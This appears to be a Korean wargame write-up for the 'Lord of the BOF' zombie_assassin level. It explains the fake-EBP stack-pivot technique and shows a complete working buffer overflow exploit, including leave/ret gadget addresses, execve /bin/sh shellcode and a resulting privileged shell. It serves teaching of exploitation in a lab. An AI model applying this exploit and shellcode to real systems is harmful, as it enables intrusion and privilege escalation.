LOB assassin => zombie_assassin
문제
[assassin@localhost assassin]$ cat zombie_assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
기법은 FEBP ( Fake EBP )를 이용하라고 한다.
전과 마찬가지로 스택과 라이브러리를 사용하지 못한다.
Fake EBP
음 전에 했던 FPO와 비슷하다.
SFP로 buf-4를 주어 다음 SFP를 조작하고 RET로 leave-ret가젯을 주면 어떤 일이 발생하는지 알아보자.
우선 에필로그가 시작되어 esp가 ebp에 위치로 이동한다.
pop ebp로 ebp가 buf-4의 주소로 이동하고 esp는 ret를 가르키게 된다.
그 다음 ret 주소가 leave, ret을 가르키고 있기 때문에 한 번 더 에필로그가 실행된다. 그럼 우리가 보낸 ebp (&buf-4)로 esp가 이동한다.
그 후 ebp는 &buf-4에 있는 값, 어딘가로 날라가 버리고 esp는 buf를 가르키게 된다. 이 때 우리가 buf의 첫번째 4byte에 쉘코드의 주소를 입력했다면??
ret가 실행되면서 esp가 가르키고 있는 쉘코드의 주소로 이동하여 쉘코드가 실행 될 것이다. 그럼 다시 문제로 돌아가 풀어보자.
풀이
[assassin@localhost tmp]$ objdump -S zombie_assassin | grep leave -A1 | grep ret -B1
8048311: c9 leave
8048312: c3 ret
--
8048404: c9 leave
8048405: c3 ret
--
804840b: c9 leave
804840c: c3 ret
--
804842b: c9 leave
804842c: c3 ret
--
8048433: c9 leave
8048434: c3 ret
--
80484df: c9 leave
80484e0: c3 ret
--
8048511: c9 leave
8048512: c3 ret
--
8048517: c9 leave
8048518: c3 ret
--
8048534: c9 leave
8048535: c3 ret
[assassin@localhost tmp]$
우선 leave ret을 찾아보자. 이 수 많은 leave ret 중 아무거나 하나 골라서 사용하면 된다.
[assassin@localhost tmp]$ ./zombie_assassin `python -c "print 'A'*4 + 'B'*36 + 'C'*4 + 'D'*4 +'\x90'*100 + 'E'*50"`
대략 어느 주소에 어떤 것이 들어갈지 분석하기 위해 인위적으로 core파일을 생성해주자.
A는 쉘코드의 주소 B는 DUMMY값 C는 SFP(&buf-4)의 주소 D는 ret(leave, ret) 이다.
0xbffffb50: 0x5f656962 0x61737361 0x6e697373 0x41414100
0xbffffb60: 0x42424241 0x42424242 0x42424242 0x42424242
0xbffffb70: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffb80: 0x42424242 0x43434342 0x44444443 0x90909044
(gdb)
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x45454590 0x45454545 0x45454545 0x45454545
0xbffffc00: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffffc10: 0x45454545 0x45454545 0x45454545 0x45454545
0xbffffc20: 0x00454545 0x3d445750 0x6d6f682f 0x73612f65
결과창이다. 우선 알아야 할 것은 &buf-4의 주소 그리고 쉘코드의 주소이다.
&buf-4의 주소는 AAAA가 시작되는 0xbffffb5d - 4 인 0xbffffb59이다.
쉘코드의 주소는 nop이 껴져있는 곳 아무데나 넣도록 하자.
[assassin@localhost tmp]$ ./zombie_assassin `python -c "print '\xb0\xfb\xff\xbf' + 'A'*36 + '\x59\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
곽풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY???
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core
음 세그먼트 오류가 났다 다시 코어파일을 분석하면서 주소를 맞춰주자.
[assassin@localhost tmp]$ ./zombie_assassin `python -c "print '\xdd\xfb\xff\xbf' + 'A'*36 + '\x72\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
粃풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr???
bash$ id
uid=515(assassin) gid=515(assassin) groups=515(assassin)
bash$
주소를 다시 맞춰주면 쉘을 딸 수 있다.
[assassin@localhost assassin]$ ./zombie_assassin `python -c "print '\xdd\xfb\xff\xbf' + 'A'*36 + '\x72\xfb\xff\xbf' + '\x11\x83\x04\x08' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
粃풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr???
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$